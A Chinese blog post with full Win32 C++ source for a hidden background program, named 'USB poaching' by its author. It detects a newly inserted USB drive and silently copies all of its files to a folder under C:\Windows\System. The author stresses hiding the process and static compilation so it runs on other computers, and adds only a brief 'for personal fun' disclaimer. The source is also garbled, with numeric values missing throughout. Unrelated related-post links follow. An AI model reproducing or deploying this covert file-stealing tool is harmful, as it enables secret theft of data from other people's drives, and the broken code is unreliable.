自动拷贝U盘的数据---

由于之前学习了win32的编程就想着做一个有趣的东西。想了想准备做一个可以自动复制U盘数据的程序。

对于这个程序的功能首先就是要能够识别U盘是否插入了,这里使用了函数GetLogicalDrives()来进行判断,这个函数会将当前

计算机中的盘符表示出来,然后通过两次的比较来判断U盘是否插入到了计算机中,然后通过copyfile()来全盘复制文件。

为了方便更好的隐藏采用win32编写,但是去掉界面,让程序运行后仅仅在后台进程中可见。


下面是程序的源代码(用VS2017编译):


 // USB盗猎.cpp : 定义应用程序的入口点。
// 为了让程序可以被其他电脑直接使用,需要在编译时采用静态编译,vs2017默认的是动态编译
// 在调试中选择属性,然后选择C/C++,选择代码生成,选择多线程调试DLL(/MTD)====>即可实现静态编译 #include "stdafx.h"
#include "USB助手.h"
#include <windows.h>
#include <iostream>
#include <string>
#include <strsafe.h>
#include <tchar.h>
#define MAX_PATH_ME 256
#define SOURCE_PATH TEXT("C:\\Windows\\System\\text1") using namespace std;
void Traver_File(TCHAR Path[MAX_PATH_ME], TCHAR T_Path[MAX_PATH_ME]); //遍历U盘下的所有文件 int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPWSTR lpCmdLine,
_In_ int nCmdShow)
{ CreateDirectory(SOURCE_PATH, NULL);
TCHAR szFile[MAX_PATH_ME] = SOURCE_PATH;
TCHAR Path[MAX_PATH_ME] = TEXT("");
TCHAR Drive[] = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','S','Y','Z' };
char i = ;
DWORD Drive_Old = GetLogicalDrives();
while ()
{
DWORD Drive_New = GetLogicalDrives();
if (Drive_Old != Drive_New)
{
Drive_New = Drive_New - Drive_Old;
while ()
{
if ((Drive_New & ) != )
break;
Drive_New >>= ;
i++;
}
break;
}
}
Sleep();
Path[] = Drive[i];
Path[] = '\0'; //StringCchCat:在使用时需要path最后一位是‘\0’
StringCchCat(Path, MAX_PATH_ME, TEXT(":"));
Traver_File(Path, szFile);
return ;
} void Traver_File(TCHAR Path[MAX_PATH_ME], TCHAR T_Path[MAX_PATH_ME])
{
WIN32_FIND_DATAW lpFindFileData;
HANDLE hFind = INVALID_HANDLE_VALUE; TCHAR szDir[MAX_PATH_ME];
TCHAR szDir1[MAX_PATH_ME] = TEXT("");
TCHAR szDir2[MAX_PATH_ME] = TEXT("");
TCHAR szFile[MAX_PATH_ME] = TEXT(""); //把文件拷贝的源地址 TCHAR T_szDir[MAX_PATH_ME] = TEXT("");
TCHAR T_szDir2[MAX_PATH_ME] = TEXT("");
TCHAR T_szDir1[MAX_PATH_ME] = TEXT("");
TCHAR T_szFile[MAX_PATH_ME] = TEXT(""); //把文件拷贝的目的地址 StringCchCopy(T_szDir, MAX_PATH_ME, T_Path);
StringCchCopy(T_szDir2, MAX_PATH_ME, T_szDir); //获取源文件地址的操作
StringCchCopy(szDir, MAX_PATH_ME, Path);
StringCchCopy(szDir2, MAX_PATH_ME, szDir);
StringCchCat(szDir, MAX_PATH_ME, TEXT("\\*"));
hFind = FindFirstFileW(szDir, &lpFindFileData);
do
{
StringCchCopy(szFile, MAX_PATH_ME, szDir2);
StringCchCopy(szDir1, MAX_PATH_ME, szDir2); StringCchCopy(T_szFile, MAX_PATH_ME, T_szDir);
StringCchCopy(T_szDir1, MAX_PATH_ME, T_szDir2); if (lpFindFileData.cFileName[] == '.')
{
continue;
}
else if (lpFindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY)
{
StringCchCat(szDir1, MAX_PATH_ME, TEXT("\\"));
StringCchCat(szDir1, MAX_PATH_ME, lpFindFileData.cFileName); StringCchCat(T_szDir1, MAX_PATH_ME, TEXT("\\"));
StringCchCat(T_szDir1, MAX_PATH_ME, lpFindFileData.cFileName); CreateDirectory(T_szDir1, NULL);
Traver_File(szDir1, T_szDir1);
}
else
{
StringCchCat(szFile, MAX_PATH_ME, TEXT("\\"));
StringCchCat(szFile, MAX_PATH_ME, lpFindFileData.cFileName); StringCchCat(T_szFile, MAX_PATH_ME, TEXT("\\"));
StringCchCat(T_szFile, MAX_PATH_ME, lpFindFileData.cFileName); CopyFile(szFile, T_szFile, false);
StringCchCopy(szFile, MAX_PATH_ME, TEXT(""));
StringCchCopy(T_szFile, MAX_PATH_ME, TEXT("")); }
} while (FindNextFileW(hFind, &lpFindFileData) != );
}

————本程序只可自己玩,不可另做它用!!!

USB助手的更多相关文章

  1. 杭州蓝松科技推出的安卓端的USB转串口调试助手, 欢迎下载使用

    杭州蓝松科技推出的安卓端的USB转串口调试助手, 欢迎下载使用 下载地址:http://files.cnblogs.com/guobaPlayer/%E8%93%9D%E6%9D%BEUSB%E4%B ...

  2. C# EPL USB 指令打印

    private void btnPrinter_Click(object sender, EventArgs e) { #region ESC 热敏图像点阵像素点读取打印 //Bitmap bitma ...

  3. C#调用斑马打印机打印条码标签(支持COM、LPT、USB、TCP连接方式和ZPL、EPL、CPCL指令)【转】

    原文地址:http://blog.csdn.net/ldljlq/article/details/7338772 在批量打印商品标签时一般都要加上条码或图片,而这类应用大多是使用斑马打印机,所以我也遇 ...

  4. Android开发--使用真机进行USB调试程序

    在android小程序的开发过程中,使用eclipse中的虚拟机进行程序开发速度较慢,用真机开发可以显著提高调试的速度. 这里我用的操作系统是win7专业版,手机型号HM1S: 进行USB调试的主要步 ...

  5. 解决魅族USB调试无法被电脑识别的问题(含Mac OS X、Win7)

      每次打开豌豆荚或者360手机助手之类手机助手后Eclipse才会检测到mx4(实际上是豌豆荚关闭eclipse的adb使用自己的驱动连接的).解决方法就是在"adb_usb.ini&qu ...

  6. 单片机usb转串口的时灵时不灵的解答

    写这篇博客,首先检讨一下自己,因为以前串口的程序,也和步进电机一样,时灵时不灵,我现在终于知道这是为什么了,因为51上有三个串口,一个公口,一个母口,一个usb转串口,这样的话,串口有3个了,我手头上 ...

  7. Bdsyn百度手机助手是何物,它是怎样神不知鬼不觉地安装到你的电脑里的?

    [电脑软件管理中Bdsyn手机助手的问题]Bdsyn手机助手 is developed by Baidu, Inc. and is used by 10 users of Software Infor ...

  8. ARM-LINUX学习笔记-(虚拟机linux串口终端以及USB程序下载,基于TQ2440)

    昨天安装了ssh服务之后今天在windows上用xshell登陆发现登录不上,原因是使用了virtualbox的NAT模式,在NAT模式下,客户机可以很方便地上网,但是想要链接宿主机就需要打开网络地址 ...

  9. Windows 10 IoT Serials 4 - 如何在树莓派上使用Cortana语音助手

    从Windows 10 IoT Core 14986版本开始,微软已经加入Cortana语音助手功能.之前,我们只能使用本地语音识别,需要编写应用程序,下载到设备中才能实现.从现在开始,微软已经从系统 ...

随机推荐

  1. 理解 Java 正则表达式怪异的 \\ 和 \\\\,让您见怪不怪

    本文链接 https://unmi.cc/understand-java-regex-backslash/, 来自 隔叶黄莺 Unmi Blog Java 语言里的几大变革,一为 jdk1.4 引入的 ...

  2. Java实例---简单的数据库操作

    源码分析 DAOFactory.java package cn.ftl.mysql ; public class DAOFactory { public static IEmpDAO getIEmpD ...

  3. Asp.Net MVC 开发技巧(一)

    开发程序时的流程: 1.设计数据模型. 数据模型最为重要,不仅关系到数据的存储,同时程序的可扩展性,效率也受影响,甚至决定开发工作量.所以要极其认真的设计数据库的表和相关字段. 建完基本的数据模型后, ...

  4. December 11th 2016 Week 51st Sunday

    If a thing is worth doing it is worth doing well. 如果事情值得做,那就做好. If it is worth doing, then it is wor ...

  5. Python 处理脚本的命令行参数(三):使用argparse

    # coding:utf-8 # 测试argparse模块的基本用法 import argparse # 创建参数解析对象,并添加脚本用法帮助 parser = argparse.ArgumentPa ...

  6. 阿里八八“好记”——UML设计

    团队分工 叶文滔:软件整体框架部分 俞鋆:后端数据库部分 王国超:日程多日显示部分 黄梅玲:日程详细显示部分 张岳.刘晓.李嘉群:用户部分 UML设计 整体框架 用例图 类图 活动图 状态图 数据库部 ...

  7. kvm 虚拟机

    关于text模式安装的一个问题 http://serverfault.com/questions/257962/kvm-guest-installed-from-console-but-how-to- ...

  8. 解决python编码问题报错:'ascii' codec can't encode characters in position 0-15: ordinal not in range(128)

    这个问题很奇怪,在服务器上执行一个写数据库的python文件,正常执行,但是使用java的ssh进行调用脚本,发现就是不执行数据库的写入,然后使用了try except的方式,打印了错误信息,发现报错 ...

  9. BZOJ2223/3524:[POI2014] Couriers(主席树)

    Description 给一个长度为n的序列a.1≤a[i]≤n. m组询问,每次询问一个区间[l,r],是否存在一个数在[l,r]中出现的次数大于(r-l+1)/2.如果存在,输出这个数,否则输出0 ...

  10. 【题解】前k大子段和

    题目描述 Peter喜欢玩数组.NOIP这天,他从Jason手里得到了一个大小为\(n\)的数组. Peter求出了这个数组的所有子段和,并将这\(\frac{n(n+1)}{2}\)个数降序排列,他 ...